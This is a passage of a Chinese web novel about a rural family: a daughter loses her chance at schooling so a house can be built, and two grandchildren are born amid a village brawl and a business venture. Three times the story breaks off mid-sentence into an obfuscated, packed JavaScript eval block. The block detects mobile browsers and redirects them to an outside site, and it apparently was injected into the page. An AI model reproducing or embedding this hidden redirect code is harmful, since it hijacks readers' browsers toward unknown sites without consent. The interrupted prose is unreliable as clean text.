杨敏本来对打工也无所谓，一听好朋友不去打工了，那她立刻也不想去了：“真的？那太好了！我也不想一个人去打工，我也跟我爸妈说，我也要去市里读师范，咱俩还在一起。” 两个女孩仿佛看到了崭新的、充满书卷气的未来，在市里的校园里一起学习、生活，不用分开。她们开心地畅想了一下午，连夏日的蝉鸣都变得悦耳起来。 玩累了，赵小英砰砰跳跳地回到家。刚走到堂屋门口，就听见里面传来父母边洗脚边说话的声音，她放轻脚步，没有立刻进去，而是悄悄坐在门口那个矮矮的小板凳上，想到白天说去市里读师范那件事，她心里还美滋滋的。大哥当年也只是在县城读高中，自己这可是直接去市里。虽然她现在都还没去过县城，但“市里”这个词，本身就带着令人向往的光环。 “你觉得庭春说的这个建议咋样？我觉得还可以，让小英去读个师范，搞不好以后我们家也能出一个老师，有一个铁饭碗。”杨红翠问着赵兴强，语气里带着一丝不易察觉的期盼。 “钱了？你有问庭春，这个需要花多少钱吗？”赵兴强抽着老式烟，语气凝重。 虽然他是在问出这句话，但心里也明白这前前后后得花多少钱。找关系打点肯定要花钱，每年还有学费住宿费，然后每个月还有生活费。这加起来，可不是个小数目。 “具体多少庭春没说。她就说，只要咱家决定让小英去读，她就帮忙问清楚，庭春说无论多少钱都建议让小英去读，她说……这钱花得值。”杨红翠的底气泄了几分，语气也没有刚才那么有洪亮。 “值不值，那是……后话。”赵兴强停顿了一会儿，将烟管往椅子上磕了磕，“你知道今天亮娃跟我说啥了吗？” 他接下来的话，一字一句像块石头砸在赵小英心上，“秀梅怀上了，肚子一天天大起来。他跟我商量，想把咱家这老瓦房推了，打算盖个两层的小平楼。他说他出一半的钱，让咱们也帮忙出一半。” 盖新房？！ 听到赵兴强说打算建房子，杨红翠突然眼睛亮了起来。看着亲戚们要么搬到街上，要么盖上了自建房，她心里的羡慕也不是一天两天了。这老瓦房，夏天下大雨，还得经常维修，住了几十年，谁不想住得敞亮点、舒服点？活了大半辈子，难道还要一直窝在这破瓦房里？ “是该盖了。”杨红翠立刻接话，语气带着热切，“我们现在的房子确实不好住，你又不是不晓得，老大和老二小时候挤一个屋。现在老大结了婚，又把老二赶到小英屋里，还好老二出去打工了。可这过年一回来，还是不方便。小英早就不乐意了，智民也不开心，上次过年宁愿跑去跟李波挤，也不愿跟小英一个屋睡。李波他妈还跟我说笑，干脆让智民改姓李算了，听得我心里很不舒服。” 她絮絮叨叨地诉说着老房子的种种不便，句句都是实情，也句句都戳在赵兴强的心坎上。 “我早就有这个打算了。”赵兴强深深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788778|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸了口烟，接着说道：“亮娃这次提出来，我也是赞成的，几兄弟间，就我们没有盖新房了。可是……”他话锋一转，声音沉了下去，“盖房子，可不是仨瓜俩枣的事，如果这钱要是拿去给小英读书，那这房子……就不太可能了。” 杨红翠听懂了赵兴强的意思。虽然自己真的很想盖自建房，但是想到今天，赵小英当着所有人说她要读书当老师，总归是于心不忍。 赵国亮要修房子，赵小英要读书。 两者选其一。 都是自己的孩子，手心手背都是肉。杨红翠内心还是觉得愧对小英，试图在想想其他办法：“那小英读书怎么办？真的就不让她去读书了吗？庭春说了现在花钱了，那以后就是一辈子的工作，是铁饭碗啊！” 又是短暂的沉默。 “她脑子不灵光，不像老大。平时又不爱学习，我看就不是读书的料。庭春不也说了，在学校也得她自己肯努力才行。搞不好我们花了钱，她读不出来，或者读出来也找不着正经工作，到时候房子也盖不成，你让老大咋个办？老大已经成家了，我们总得帮他把家撑起来。小英还小，以后……以后总是要嫁出去的。” 最后几个字，他说得有些含糊，却像冰冷的钉子，钉在了门外赵小英的心上。 赵兴强说完了这番话，两人又陷入了沉默，时间比刚才要长久一些。 看着杨红翠很难受，赵兴强也很无奈，只好安慰着：“再说了……我们盖了新房子，以后小英就有自己独立的房间了，这也是为小英好。不是吗？“ “是的，……盖了新房……小英就有自己单独的房间了，不用再跟人挤。智民回来也有地方住……这也是……为孩子们好。” 杨红翠没有看赵兴强，只是低着头盯着桶里已经逐渐冷却的泡脚水，自言自语。这话说出来，连她自己都觉得苍白无力。一个心安理得的借口，却掩盖不住心底那份清晰的亏欠。 屋内的泡脚水，彻底凉了。 屋外板凳上的人，心也彻底凉了。 门外的赵小英一字不差的听完了父母所有的对话。屋内的每一句话，都像冰锥一样扎进她的耳朵，扎进她的心里。从云端跌入谷底，不过短短几分钟。 赵小英没有进去大吵大闹，也没有去质问。如果是母亲反对，她或许还能闹一闹，争一争，这个事情或许还有希望。但，一旦是父亲拍板了，在这个家里，就再也没有转圜的余地。 此刻的赵小英，还不完全懂得什么叫“失落”，什么叫“偏心”。直到多年后，她自己成家立业，看到杨敏捧着师范毕业证，在教室里给孩子们上课的样子，她才真正明白，原来在父母心中，子女的排位是有先后的；原来不是所有的父母，都愿意倾尽所有去托举一个女儿的未来，哪怕那未来只需要他们付出盖半栋新房的钱。 后来的她才知道，杨敏家的情况其实更困难。 杨敏除了姐姐杨艳，下面还有个弟弟杨城，马上要上初一。她家直到五年后，等杨敏师范毕业当了老师，杨城也打工挣钱了，姐弟三才终于攒够钱，才把家里摇摇欲坠的瓦房换成了砖混的自建房。 那一夜，赵小英是哭着跑去找杨敏的。她抽噎着告诉好朋友，自己去不成市里读书了。杨敏一听，立刻说：“你不去，那我也不去了！咱俩还一起去打工，打工多好，还能赚钱！”她是真心觉得能跟好朋友一起，比读书有意思多了。当然她也是真心想要打工挣钱，家里的条件，她比任何人都清楚。 可是，事与愿违。一个想读书的不能去读，一个不想读书的去读了书。 真是命运弄人！ 当然，这或许也不怪命运，这是人做出的选择，是两个女孩的父母亲手替她们做出的选择。 第二天，杨敏的父母提着精心准备的礼物，揣着红包去了赵庭春家。他们紧紧抓住了这根能改变女儿命运的稻草。 赵小英和杨敏，这对从小一起长大的好朋友，人生的轨迹，在2005年的这个夏天，悄然分岔，奔向了截然不同的方向。 32. 安然（1） 日子在忙碌与期盼中一晃而去，转眼间，赵小英已经去了广州好几个月了。 原本她是打算跟赵智民一起在厂里工作的，但是舅妈心疼她，便让她跟着自己学手艺，在广州摆摊卖煎饼、包子、馒头等早点。于是，小英就这样跟着舅妈开始了摆摊生涯。虽然工资很低，但是跟着舅妈同吃同住，倒也过得没有那么拮据，偶尔她和赵智民还能请舅妈和舅舅一家人出去吃顿好的，感谢他们的照顾。如果没有舅舅一家，兄妹俩人可能在广州过得很辛苦。 老家这边，赵家这段时间更是忙得脚不沾地。王秀梅挺着一天天变大的肚子，仍在店里忙着。赵国亮则是一边照顾店铺生意，一边和父母商量盖新房的各种琐事。他们要推倒住了几十年的老瓦房，接着打地基，砌砖墙……从盛夏忙到深秋，一栋崭新的两层小楼终于修建完毕。 房子主体完工只是第一步，紧接着还要装修，买家具。 王秀梅的父亲王大富是个老木匠，知道女婿家要盖新房子，他也高兴得很，毕竟女儿也跟着住大平房了。家里条件有限，没有什么钱可以资助女儿，于是他便承包了女儿家的所有床。这段时间他吭哧吭哧埋头苦干，硬是给他们做了五张结实耐用的实木床，这可为赵家节省了不少钱。 2005年12月底，新家终于装修完毕，看着宽大敞亮的新房，现在就只需要择个好日子举办“新家酒”宴请亲朋好友，还有村里的乡亲们。 然而，就在筹备这喜庆日子的当口，王秀梅的预产期也悄然临近。 一场意外，毫无征兆地降临。 王秀梅的弟弟王秀山，是个不知天高地厚的小子，从小打架斗殴，身上带点伤痕那是家常便饭，让王家操碎了心。 自王秀梅结婚后，虽然他依旧在社会上混着，但还有赵国亮帮忙一起去管着他。赵国亮做生意，在清泉乡的朋友也多，多多少少能照拂下，好歹没有捅出大篓子。最近半年，赵国亮和王秀梅全身心扑在家里盖新房上，王大富和张红英是根本管不住这匹脱缰的野马。 那是一个阴雨绵绵的下午，王秀梅正挺着大肚子在店里整理衣服。赵国亮的朋友李超跑车回来，直奔店里，气喘吁吁，着急说道：“秀梅！快！你弟……你弟在村口桥对面那片菜地里跟人干起来了！我们回来的车子刚好路过，看到两伙人打得挺狠，还拿着刀！我看见你弟也在里头。现在的小娃儿下手不知轻重，被砍了轻则住院重则死亡，砍人的轻则赔钱重则坐牢，都不是啥好下场。亮娃了？他在不在？”李超的声音又快又急，透着惊恐。 拿刀？！ 王秀梅只觉得脑袋“嗡”的一声，眼前发黑，小腿直发软，赶紧扶住了旁边的衣架才没瘫倒。她知道自己弟弟爱惹事，但以前顶多是动手动脚，现在怎么会闹到动刀子的地步了？ “他…他不在店里。”王秀梅的声音都在抖，“他…他回家去了，家里刚装修完，他去请张大爷来看期……” “你大着肚子，你还是别去！”李超看她脸色惨白，急忙道，“你现在在店里待着，我这就跑去找亮娃！”说完，李超转身就冲进了细雨中。 王秀梅心乱如麻，都动刀了，那万一……恐怖的画面在脑子里乱窜。她思来想去，还是拜托隔壁的李姐帮忙看下店子，自己跑到街上拦了辆拉客的摩托车，心急火燎地往村口赶。从店铺到村口，骑摩托车只需要十分钟。可这短短的十分钟，王秀梅整个人就像热锅上的蚂蚁似的。 摩托车刚到村口大桥边，就看见周围聚集了一群人。王秀梅跑下车，跌跌撞撞地穿过人群跑到下面菜地。还没等她到达斗殴现场，就听见有人大喊：“警察来了！警察来了！” 菜地里的社会混混们，听到警笛声，顿时像炸了窝的马蜂，已经不分敌我了，开始四散奔逃。 王秀梅的心提到了嗓子眼，拼命在混乱逃窜的人群中搜寻弟弟的身影。看到几个警察已经从对面包抄过来拦截，于是一些混混又掉头往桥这边跑。 突然，眼睛看到了前方靠近河沟的泥地里，一个脸上有血的男孩，穿着时髦的黑色皮衣，这个款式，一看就是自己店里拿的新款。 王秀山！他是王秀山！ 王秀山倒在泥地里，正被三个明显年龄更大点、体格更壮的人围在中间，有两个人对他拳打脚踢，其中一个手里拿着镰刀疯狂捶打。 “秀山！”王秀梅失声尖叫，不顾一切地朝着那个方向冲过去，带着哭腔嘶喊：“警察来了！警察来了！快住手！！” 那三个人听到声音，发现情况不妙，又狠狠踹了地上的王秀山几脚，转身就想跑。 就在这时，被殴打得满脸是血、眼冒凶光的王秀山，猛地从泥水里挣扎起来，抓起掉落在手边的镰刀，竟踉跄着追向离他最近的一个混混后背，高高举起了刀！ “王秀山！住手！！你给放下刀，不要动！！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788779|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”王秀梅用尽全身力气嘶吼，声音凄厉得变了调。 这声饱含着惊恐的尖叫，像一盆冰水瞬间浇醒了王秀山被愤怒和疼痛冲昏的头脑。他高举的刀僵在半空，最终没有落下。 然而，就在王秀山愣神的瞬间，王秀梅因极度恐惧和剧烈奔跑，加上腹部骤然传来的剧痛，双腿一软，整个人瘫倒在泥地上。浅色的打底裤迅速被一股温热的液体浸透，把颜色染成了鲜红。 于此同时，对面的警察也全面到达现场，刚刚逃跑的三人和其他斗殴的涉事人员全部被烤走，只剩下还没被警察抓住的王秀山。 “姐——！！”王秀山扭头看到姐姐这一幕，魂飞魄散！他像疯了一样扔掉手里的刀，连滚爬爬扑到姐姐身边，“姐！你怎么了？你别吓我啊姐！！”他手足无措地想抱起姐姐，但由于自己被打得浑身是血，身上已经使不出劲了，脸上糊满的血泪混在一起，狰狞又可怜。他赶紧冲着刚赶到眼前的两名年轻警察嘶声哭喊：“警察！警察大哥！你们快点帮忙啊！快救救我姐！送她去医院！快啊！！求求你们了！！！” 两名警察也被这突如其来的变故弄懵了，没想到案发现场还有一个孕妇。不知该先抓人还是先救人？ 看着地上下身流血的孕妇，再看看旁边哭嚎哀求、满脸是血的少年嫌犯，救人要紧！他们迅速交换了个眼神，一人背起王秀梅，另一人在旁扶着，王秀山跟在身后，三人深一脚浅一脚地朝着桥上的警车狂奔。 刚跑到路边，赵国亮和李超也骑着摩托车赶到了。看到妻子被一个警察背着，下身一片血红，赵国亮的脸瞬间变得煞白。 “哥！哥！快！快送医院！快进城！”王秀山看到赵国亮，就像抓住了救命稻草，哭喊着。 赵国亮二话不说，一把从警察背上接过妻子，打横抱起，箭步冲向路旁的警车。一名警察迅速拉开车门，赵国亮抱着王秀梅钻了进去，王秀山和另一名警察也紧跟着挤上车。 “警察大哥！快！快去医院，快送我姐去！”王秀山急得哭出了声，放佛跟刚刚拿刀砍人的混混完全不是同一个人。哪怕刚刚快被三人拿刀砍死的他，都没有露出此刻的急迫与痛苦。 “来不及了，直接去乡里卫生院。快！” 赵国亮在危急中强迫自己冷静下来，分析情况，现在去县里来不及了，得马上去乡里卫生院。于是，他当机立断，催促警察同志开车直接冲往卫生院。 33. 安然（2） 警笛长鸣，警车风驰电掣般朝着乡卫生院冲去。一路上，王秀梅痛苦的呻吟和王秀山压抑不住的抽泣声交织在狭窄的车里。 警车一个急刹停在卫生院门口。赵国亮抱着王秀梅就往里冲，两名警察和王秀山紧随其后。这浑身是血、警民混杂的阵势把卫生院大厅的人都惊呆了。 “医生！医生！快救人！我媳妇要生了！见红了！”赵国亮嘶吼着。 正在隔壁病房给老人输液的赵庭春闻声跑出来，看到赵国亮抱着下身染血的王秀梅，瞬间明白了怎么回事，脸色大变：“快！送产房这边！我去叫张医生和助产护士！”她反应极快，转身就跑去找人。 很快，赵兴强、杨红翠、王大富、张红英也闻讯赶到了卫生院。小小的走廊里挤满了焦急的人。王大富和张红英看着站在警察旁边、满脸血污、失魂落魄的儿子，此刻也顾不上责骂，全部心神都系在了产房紧闭的门上。 时间一分一秒地煎熬着。不知过了多久，也许是一个小时，也许更久，一声嘹亮而清脆的婴儿啼哭，终于穿透了紧张压抑的空气，清晰地传了出来。 “生了！生了！”杨红翠激动地抓住赵兴强的手臂。 门打开，护士出来报喜：“母子平安！是个大胖小子！” 赵兴强、杨红翠喜极而泣，赶紧想要进去看孙子。王大富、张红英和赵国亮则第一时间冲进去看王秀梅。看到床上虽然虚弱疲惫但意识清醒的妻子，赵国亮悬着的心才终于重重落下，腿一软，差点跪倒。 王秀山整个人像被抽干了力气，摊坐在地上，后背紧紧靠着墙壁。他不能想象，如果姐姐和孩子因为自己出了什么意外，他这辈子该怎么办。 一旁的赵庭春，赵庭春对着赵国亮，心有余悸地说着：“还好送得及时，羊水早破了，宫口开得很快。另外，你们也是真的运气好，今天正好县医院的产科医生下乡助学，来我们这儿指导，老师们本来都收拾东西准备走了，你们刚好赶到！要不是这样，后果……真不敢想。” 在产房目睹这一切的她，后怕之情，溢于言表。 王秀梅和孩子，真的是九死一生。 确认王秀梅情况稳定后，赵国亮强打精神，先是对当场的医生、护士、警察千恩万谢，接着又郑重感谢了赵庭春。 两位警察见产妇和孩子已经没有问题了，便走到王大富夫妇面前：“王秀山你们家孩子吧？他今天参与了一场大型斗殴，我们需要带他回去接受调查。” 王大富看着瘫坐在地上，一言不发的儿子，气得浑身发抖，扬起巴掌就要扇过去：“你这个孽障！警察同志，你们把他抓走，狠狠给我打！关他坐牢都行！就当我没得这个儿子！”两个警察赶紧拦住了情绪激动的老人。 “老人家，先别激动。具体情况还在调查中，我们会依法处理。后续有情况会及时通知家属的。”两位警察也是清泉乡的，看着这对年迈父母心力交瘁的样子，再看看年纪不大的王秀山，此刻失魂落魄的模样，知道他本质并非是个彻彻底底的社会混子，语气也缓和了些，但还是公事公办地把人带上了警车。 王秀梅和孩子在卫生院住了整整一个星期。这段时间，杨红翠和张红英一人照顾大人，一人照顾孩子，忙得团团转。赵国亮则马不停蹄地进城，买了礼物，挨家挨户去感谢当天参与抢救的县里医生、卫生院的医生护士，当然还有赵庭春家。 最后，他带着礼物去了派出所，一是感谢那两位警察关键时刻出手相救，二是打听王秀山的情况。警察告诉他：“这次聚众斗殴规模不小，影响恶劣，还有人被打成重伤在县医院躺着。不过你小舅子王秀山，根据现场调查和多人指证，他主要是被打的一方，没证据表明他主动持刀伤人，再加上他年龄比较小，还不到十六岁，属于未成年人，情节相对较轻，不会判刑。但他违反了治安管理法，肯定要拘留个十天半个月，还要交罚款。” 赵国亮在县城里，来得比较匆忙，没有带那么多钱，结果刚好碰到了许耀刚，这小子前阵子从上海回来了，听说不打算再出去。许耀刚把钱借给了他，两人随后几经周折，终于把王秀山从派出所带了回来。 此时，王秀梅和孩子已经出了卫生院，在家坐月子，赵国亮领着王秀山进了家门。 王秀山低着头，脚步沉重地挪到姐姐床边，看着躺在床上脸色苍白的姐姐和旁边婴儿车里熟睡的婴儿，喉咙像被堵住，一个字也说不出来，只有眼泪无声地往下掉。王秀梅看着弟弟这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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若后面他们再有第二个孩子，无论男女，就叫无恙，赵无恙。 安然无恙，这便是为人父母最深的祈愿了。 34. 盘店 赵安然的出生虽然历经波折，但终究还是一个美好的结果。这个小家伙的到来，给赵家带来了无数欢乐和新的希望。 刚出生那会儿的赵安然，小脸皱巴巴、红彤彤的，像个小老头，实在看不出半点继承了父母颜值基因的样子。每当杨红翠抱着孙子，乐呵呵地逗弄着说“瞧这眉眼，跟亮娃小时候一个模子刻出来的”时，赵国亮都忍不住感叹“隔代亲”滤镜实在太厚。 “你刚生下来的时候也这样，也不好看。等长大一点就好了，后面就张开了，你后面看看是不是跟你很像。”杨红翠信誓旦旦。 赵国亮瞅瞅儿子，显然不太相信自己小时候长这样。但是父爱的光环不停洗脑他，“儿子以后肯定长得像我。” 王秀梅则安静地坐在一旁，看着婆婆和丈夫围着孩子转，脸上带着温婉满足的笑意。在她眼里，孩子无论像谁，都是她的心头肉。只要他健康、平安、快乐地长大，就比什么都强。 时间如梭，转眼来到2007年的四月。 王秀梅抱着快一岁半的赵安然在店里。小孩子正是学走路和牙牙学语的年纪，精力旺盛得很，在店里爬来爬去。隔壁的王嬢嬢和李姐没事就爱过来逗逗孩子，顺便感叹时光飞逝。 “小时候黑黢黢的小团子，现在真长开了，现在越来越像亮娃了！” “你这话说道，他的崽，能不跟他一样吗？长大肯定又是一个帅小伙儿！” “不过，这皮肤没有遗传到秀梅，黑黢黢的，没有那么白净。” “男孩子嘛，长那么白干嘛？” “你不懂，现在的小姑娘们都喜欢白净的，跟我们老年人审美不一样了。” “不过说真的，这孩子五官长得可真标致，眉毛眼睛像他爸，鼻子像他妈，专挑好的长。” 这样的话，王秀梅听得耳朵都快起茧子了，她知道现在的老人专挑好听的话说。但这样的话谁不喜欢听了？不过老一辈的眼光果然毒辣，谁能想到当初那个皱巴巴、丑不拉几的小黑团，如今竟长得这般可爱招人喜欢？ 不过，店里的生意却不像孩子成长那般顺遂。这两年，越来越多的年轻人往城里走，见识多了，眼光也挑剔起来。再加上其他街道，陆陆续续又开了三四家服装店，清泉乡本地人的选择也更多了，意味着竞争更大了，赵国亮这家老店的生意明显不如从前。 店里的财政大权赵国亮基本交给了王秀梅。这两年他们省吃俭用，盖新房欠下的债也还得七七八八了。虽然赵兴强和杨红翠总说剩下的债他们老两口来还，但王秀梅觉得作为子女不能让长辈那么劳累，手里一有余钱就主动还债。日子过得不算大富大贵，但也平稳踏实。小安然有全家人的疼爱，爷爷奶奶更是恨不得把好东西都捧到孙子面前。赵国亮偶尔进货周转需要点资金，老两口也是二话不说就掏钱支持。 这天晚上关了店门，一家人围坐在新房的客厅里吃晚饭。赵安然由杨红翠抱着喂饭。赵国亮吃着碗里的饭，含糊不清地，抛出一个想法：“爸，妈，秀梅，我想跟你们商量个事儿。我想……把镇上城哥开的那家录像厅给盘下来。” “张城？张市明他儿子那个店？”比起张城，赵兴强显然更熟悉他父亲张市明。 “嗯，就是他。”赵国亮点头，“城哥前几天跟我聊了会儿，他在城里买了房，找了个城里的女朋友，快结婚了，以后肯定住城里。他不想两头跑，就想把镇上的录像厅转让掉。他跟我关系还不错，说我要接手的话，价钱上肯定给我优惠。” “哟！张市明他儿子在城里买房了？”杨红翠的注意力立刻被吸引，下意识地算起了账，语气里带着明显的羡慕，“那开录像厅这几年是真没少挣啊，看来是个来钱的生意！” 杨红翠每次都能抓住话里的精髓。 王秀梅听着公婆语气里的心动和羡慕，心里却隐隐升起一丝不安。倒不是怀疑张城的人品，而是觉得生意没有他们想象中的那么简单。张城人脉广，年纪比国亮大，更成熟稳重，社会经验更丰富，他能把店开起来挣到钱，不代表赵国亮接手就能干好。 她想起之前在市里商场打工时，店长杨丽说过的话：一个位置好的旺铺突然转让，背后多少有点原因。就算这个铺子本身没问题，但不同的人经营，结果也可能天差地别。在杨丽之前也有好几个店长离职，就是干得不好，直到杨丽接手才转亏为盈。 而且，盘下那个录像厅可不是小数目。服装店挣的钱基本都用来还债了，家里现在拿不出这笔钱。如果要盘店，那钱肯定又得老两口出。作为儿媳妇，她实在开不了这个口。索性她也不发表意见，把赵安然抱过来喂他吃饭。 “那么店我去看过一次，地方不小，里面东西也多。盘下来……怕是要不少钱吧？你一个人，恐怕有点吃力？”显然，赵兴强还是考虑到了资金的问题。 “我知道。”赵国亮早有准备，“我自己确实有点难。所以我打算和别人合伙。” “合伙？跟谁？”杨红翠追问。 “许耀刚，你们还记得吧？他是我高中同学，我结婚的时候 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但最终让他下定决心的，除了资金不够，还有王秀山那件事。当时他找到许耀刚，人家二话没说，立刻拿钱，还跟着他四处奔走，忙前忙后。这份情谊和办事能力，让赵国亮对许耀刚有了改观。 最后，在赵国亮的分析下，赵兴强和杨红翠决定盘下这个录像厅。虽然心里仍有疑虑，但也没有反对。一来这个钱不是她出，她也看得出两个长辈还是挺想干这个事情；二来，目前这个录像厅确实是这个乡镇上唯一的一家，稀缺性摆在那里，只要经营得当，未必没有钱途。 事情就这么定了下来。赵国亮很快和许耀刚签了协议，盘下了张城的录像厅。 年仅22岁的他，一下子成了村里的风云人物。开服装店、盖新房、生儿子、现在又盘下了镇上唯一的录像厅！这在当地村民眼中，能同时拥有两个铺子，不管投资多少、赚不赚钱，那绝对就是“有本事”、“挣大钱”的象征。 街坊邻里见了赵兴强和杨红翠，没有不夸他们儿子有出息的。老两口嘴里谦逊地应着“哪里哪里”、“都是孩子自己瞎折腾”，可那眼角眉梢藏不住的笑意和挺直的腰杆，无不透露着内心的骄傲和满足。 在熟人社会气息浓厚的农村，脸面是非常重要的东西。老话说得好：一个孩子在外受人尊敬，靠的是父母的本事；而父母在乡里受人尊敬，靠的就是孩子的本事。 此时的赵国亮，无疑就是那个能让父母脸上有光、腰杆挺直的“有本事”的孩子。 赵家，一时风光无两。 35. 无恙 因为是熟人转让，赵国亮和许耀刚盘下录像厅的手续办得很顺利。紧接着就是紧锣密鼓的重新装修，换设备，刷墙壁，忙得两人脚不沾地。 就在这忙碌的期间，赵家又迎来了一件天大的喜事。 与第一次怀上赵安然不同，这一次，王秀梅对自己的身体变化格外敏感，她心里隐隐有了预感。等赵国亮把录像厅装修的事情忙得差不多了，她才把这个好消息告诉了他。 “真的？我的闺女来得这么早？” 赵国亮激动得赶紧抱起王秀梅转圈，被王秀梅提醒后，才赶紧放下，小心翼翼地照顾怀孕状态的妻子。 “你怎么知道一定是女儿啊？” 王秀梅温柔的反问道，她其实内心没有对孩子有性别之分。 神明在上，王秀梅发誓，她内心真的是这样觉得。因为只要是她孩子，无论男孩女孩，都是上天赐予的珍宝，都值得用全部的爱去呵护。 “直觉！男人的直觉！”赵国亮咧着嘴，一脸坚信不移，“你看咱家儿子，活脱脱一个小号的我，可我还想要个像你这样的，漂漂亮亮、温温柔柔的小闺女！有儿有女，凑个好字，那才叫圆满！”他描绘着心中的想法，脸上满是憧憬。 有了第一次的经验，第二次去医院确认的过程少了一些忐忑，多了份从容和稳重。检查结果一切正常，那个小小的生命正在安稳地生长。 家里的日子依旧忙碌而有序。赵兴强守着他的小烟摊，杨红翠操持着家里的农活，老两口的主要精力都放在了带活泼好动的孙子身上。王秀梅怀着身孕，一边照看服装店的生意，一边也格外注意身体。赵国亮就要辛苦一些，服装店的进货、卸货不能停，录像厅新开张的筹备也得忙，还得抽空陪着王秀梅定期去城里产检。 2007年的赵家，虽然每个人都在忙碌，但那份为未来打拼、迎接新生命的喜悦，让日子充满了踏实的奔头。 时间转眼到了2007年11月。在县医院的妇产科，依旧是当年接生赵安然的那位医生，赵家的第二个孩子，赵无恙，平安降生了。 产房外，赵家、王家都在焦急地等待着。赵国亮更是坐立不安，来回踱步，眼神紧紧盯着那扇紧闭的门。 门推开，护士抱着孩子出来：“王秀梅家属！王秀梅家属在吗？” “在在在！我是！我是她丈夫！”赵国亮快步冲上前，“护士，我媳妇儿怎么样？她还好吗？” 护士脸上带着职业的微笑，语气温和：“放心吧，母女平安！恭喜啊，生了个女儿，五斤一两，很健康。” 听到护士的母女平安，赵国亮的心终于稳定下来。他小心翼翼地接过襁褓，匆匆看了一眼襁褓里那个红扑扑、皱巴巴的小脸，随后他把孩子交给旁边人，便马上去看躺在床上的王秀梅，看着虚弱的她，赵国亮忍不住的流了眼泪。 王秀梅看着眼前流泪的丈夫，自己也止不住泪水，两人幸福地抱头哭泣。这一幕，让在场的医生们都在感慨真是一对幸福的夫妻。 刚出生的赵无恙，似乎天生就带着一股不同于哥哥的安静气质。虽然都是皱巴巴的，但就长得比哥哥要秀气，皮肤比哥哥出生时白净许多，眉眼间依稀能看出王秀梅的样子，当然这句话又是杨红翠说的。赵国亮表示除了两人皮肤颜色不一样，感觉都长一个样。 不过，隔了一段时间后，他发现两个孩子确实不大一样。 为什么这么说了？ 赵安然刚出生时哭个不停，白天哭，晚上嚎，把初为父母的赵国亮和王秀梅折腾得不行，长大些后更是调皮好动，精力旺盛。而赵无恙则截然不同。除了饿了、困了或是尿布湿了不舒服时会哼哼唧唧几声，大部分时间都安安静静地躺着，睁着乌溜溜的大眼睛好奇地打量着周围，不哭不闹。被人抱起来逗弄，哪怕是陌生人，她也只是安静地看着，不抗拒也不哭叫。 隔壁的杨婶抱着小小的赵无恙，忍不住称奇：“哎哟，秀梅，你家这小闺女也太乖了！我活这么大岁数，带过那么多孩子，真没见过这么省心、这么安静的娃！” 此时的赵安然还不到两岁，对“妹妹”这个概念还很模糊。作为家里的长子，他习惯了爷爷奶奶的宠爱，也习惯了在村里疯跑。现在妈妈更多时间要照顾那个只会吃奶睡觉的小不点，他也没什么“争宠”的意识。村里玩的地方也多，同龄的、稍大一点的孩子都是他的玩伴。很显然，对比一个不会动、不会说话的奶娃娃，他还是更喜欢跟能说话、能走路的。 王秀梅经常抱着小小的赵无恙，去村里挨家挨户喊儿子回家吃饭，结果十次有八次发现，赵安然已经泰然自若地坐在别人家的饭桌前，吃得满嘴流油，任你怎么喊，都舍不得离开板凳。王秀梅只能无奈地叹口气，抱着赵无恙回家。 日子一天天过去，两个孩子都在悄然长大。待到赵无恙两岁多，能自己稳稳走路、咿呀学语时，四岁多的赵安然才真正意识到自己有个“小尾巴”妹妹。只是这个小尾巴总是安安静静地跟在他后面。 赵安然四岁了，被送进了村里的小学学前班，有了更多同龄的小伙伴。他们玩过家家、捉迷藏、在田间地头追逐打闹、下河摸螃蟹，玩得热火朝天。而小小的赵无恙，则常常独自坐在旁边的大石头上或田埂边，安静地看着哥哥和他的朋友们嬉戏，像一幅静止的、乖巧的背景画。 “赵安然，你妹妹怎么不说话啊？她是不是还不会说话？”玩伴张俊抹着脸上的汗，天真地问。 “是啊，我喊她名字，她都不理我！”另一个孩子也跟着嚷嚷。 赵安然立马反驳：“谁说她不会说话？她会说话的。刚刚在家里她还跟我妈妈说了的，她会叫‘爸爸’、‘妈妈’、‘哥哥’，我奶说了，我妹妹只是文静、害羞的小姑娘，话比较少。” “那你让她说句话试试看？”其他小朋友不相信。 赵安然为了给他们证实自己没有说谎，就跑过去摸着赵无恙的头，轻轻地说：“赵无恙，叫哥哥，叫一声哥哥给他们听听。” 一直安静看着他们的赵无恙，眨巴着大眼睛，似乎听懂了哥哥的话。她看着赵安然期待的眼神，小嘴微微张开，用细细软软的声 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第一个敏锐察觉到赵无恙似乎过于安静、语言发育似乎有些缓慢的，是赵家目前最有见识的大姐——赵庭春。她现在已经不在乡里的卫生院上班了，通过努力考试，考到了城里县医院去了。可能是赵庭春也生育过孩子，加上医务工作者的职业敏感，所以对赵安然的情况稍微敏感了一些。 